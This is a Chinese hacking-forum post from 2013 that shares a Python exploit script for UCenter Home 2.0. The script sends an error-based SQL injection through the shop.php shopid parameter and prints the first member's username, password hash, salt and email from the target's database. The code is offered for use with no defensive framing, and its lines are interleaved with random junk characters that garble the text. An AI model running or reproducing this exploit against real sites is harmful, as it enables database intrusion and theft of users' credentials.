找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2207|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:18:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl4 _; a2 C0 h$ [0 W
" E% ~& C( \- L+ n; c! D

8 p/ t9 Z  x- _#!/usr/bin/env python  
9 t5 K# M6 h* a9 o- F+ v9 F2 _8 K# a
4 O7 J* |6 x5 K$ c" rimport sys  
* D& C" }4 w5 i; v3 d6 Simport urllib2  1 @4 S( x2 Q7 y; d5 _3 [' f. r
import re  ( ?$ u( `. u  h3 Q/ ^* h

, s' V; P  y4 n( C# p" Idef info():    c4 O9 e# r5 n% }
    print 'From:http://www.exploit-db.com/exploits/14997/' 2 ^) ~! t# j$ \
    print 'http://www.hake.cc/Web_loudong/'
; R3 ^1 c+ V3 d4 w    print 'changed:qiaoy'  
. ]+ n/ A8 x1 g+ A  K  z    print 'exp:'  ; @: h$ R" z- _- S8 k( v
    print ' ./UCenter_Home_2.0.py site'  : i3 r' T, e# J0 P* T% x/ e6 L

4 e. Z, w4 _5 Mdef main():  5 n+ g# V4 T7 D( `; |
    if len(sys.argv) != 2:  
; d  O4 s2 m) X% d$ U        info()  / b5 ^" w$ m. ?; O. D# D- l
    else:  3 u$ L% ~0 z- J9 F! R
        site = sys.argv[1]  + n* Z, D; e* C* m: L: t
        if site[0:7] == 'http://':  # @$ I# w" s+ E$ h* X9 n3 I
            sitesite =site  / f, W3 M/ T; ^( E
        elif site[0:8] == 'https://':  
2 t: f/ \5 F6 R) }7 n! h- k            sitesite = site  - ]1 |: I( w9 Q+ f2 |; X6 E
        else:  + O! P% @' o! E3 e6 c
            site = 'http://'+site  
7 U! O# m6 l1 ~0 ~% I. l        try:  
4 `/ I" g& h- U& m            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  5 C$ q. H# ?& Y# s0 w( ^& V
            Value = urllib2.urlopen(url).read()  
2 l% F& }- u# M8 h# M            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
) ]; x% N5 R7 K' n            hacked = Msg.split(':')  & [- p. w) _- z5 ~- r( @+ G* {) f
            print 'Name:    '+hacked[1]  
% |) O! q9 m# r% h1 S            print 'Passwd:  '+hacked[2]    ?3 g: n; H$ ~7 ~0 D
            print 'salt:    '+hacked[3]  
) ]% N5 y; S" ?& {) Y4 ~            print 'email:   '+hacked[4]  3 y0 \, g) [+ d5 p! W, I. X% L$ o
        except:  9 R& G1 D1 |# k( g# s- p
            print 'Sorry,I can\'t work............'  $ n8 l! |: \* n' S; k* X7 I

' p1 h' ~4 ^4 b6 W! lif __name__ == '__main__':  
& p0 ?7 K; q7 P; h4 c1 i! O+ k    main()
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表